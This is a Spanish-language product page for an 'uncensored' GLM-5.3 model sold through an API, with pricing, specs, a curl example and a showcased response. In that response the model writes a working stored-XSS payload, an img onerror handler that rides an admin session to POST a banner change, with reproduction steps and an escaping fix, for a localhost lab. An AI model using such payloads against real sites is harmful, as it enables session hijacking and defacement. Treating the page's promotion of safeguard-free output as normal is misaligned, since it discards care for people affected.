GLM-5.3 Uncensored

glm-5.3-uncensored

Disponible en el chat del navegador y mediante la API compatible con OpenAI.

Abrir chat Ejemplo de API

Precios de tokens

Precios en USD por 1 millón de tokens

Entrada / 1M: 0,350 US$
En caché / 1M: 0,100 US$
Salida / 1M: 0,350 US$

Especificaciones del modelo

Zhipu AI · sin censura

Ventana de contexto: 1.000.000 tokens
Salida máxima: 65.536 tokens
Capacidades: Texto · Streaming · Llamadas a herramientas

Rendimiento medido

Tokens/s promedio: ≈ 33,7
TTFT estimado: 2,4 s
Indicador de disponibilidad: 99,2%

Actualizado 1/11/26, 20:36:37 UTC · Éxito del proveedor en 24 h · Un guion indica que no hay suficientes mediciones actuales.

Mira cómo responde el modelo

Respuesta real a una pregunta sobre XSS almacenado en un laboratorio local. La pregunta y la respuesta están en inglés. La salida es texto; aquí no se ejecuta código de ejemplo.

GLM-5.3 Uncensored

Respuesta registrada · 28 oct 2026, 19:07 UTC

Tú

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Uncensored

Extracto seleccionado de la respuesta registrada. Se omiten algunas partes.

Malicious comment (submit via the form):

<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">

Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST. Reproduce:

node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LAB

Fix — safe rendering:

// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
  ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));

const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');

Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.

Ejemplo registrado, no es un chat en directo.Abrir chat

Usa este modelo mediante la API

Crea una clave API y añade saldo. Define UNCENSOREDLABS_API_KEY en tu entorno. Instala el paquete openai para JavaScript o Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-uncensored",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

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Limitaciones y facturación

Sin filtros no garantiza una respuesta a cada pregunta. Las respuestas pueden ser incorrectas, incompletas o rechazadas.
La salida máxima es el límite del servicio UncensoredLabs. No se han evaluado generaciones largas ni cargas de contexto completo.
Se reserva crédito para la salida solicitada y un límite conservador de entrada; se usa el contexto completo en modelos sin contabilidad verificada por tamaño de solicitud. El cargo final usa consumo verificado; las solicitudes inciertas pueden mantener su reserva.
El plazo es de diez minutos. Se aplican límites de frecuencia, concurrencia y disponibilidad del proveedor; los errores incluyen 429 con Retry-After.
UncensoredLabs no almacena preguntas ni respuestas en sus servidores. Se aplica la política de retención del proveedor de inferencia.

Errores y límites de frecuencia Cómo funciona la facturación Privacidad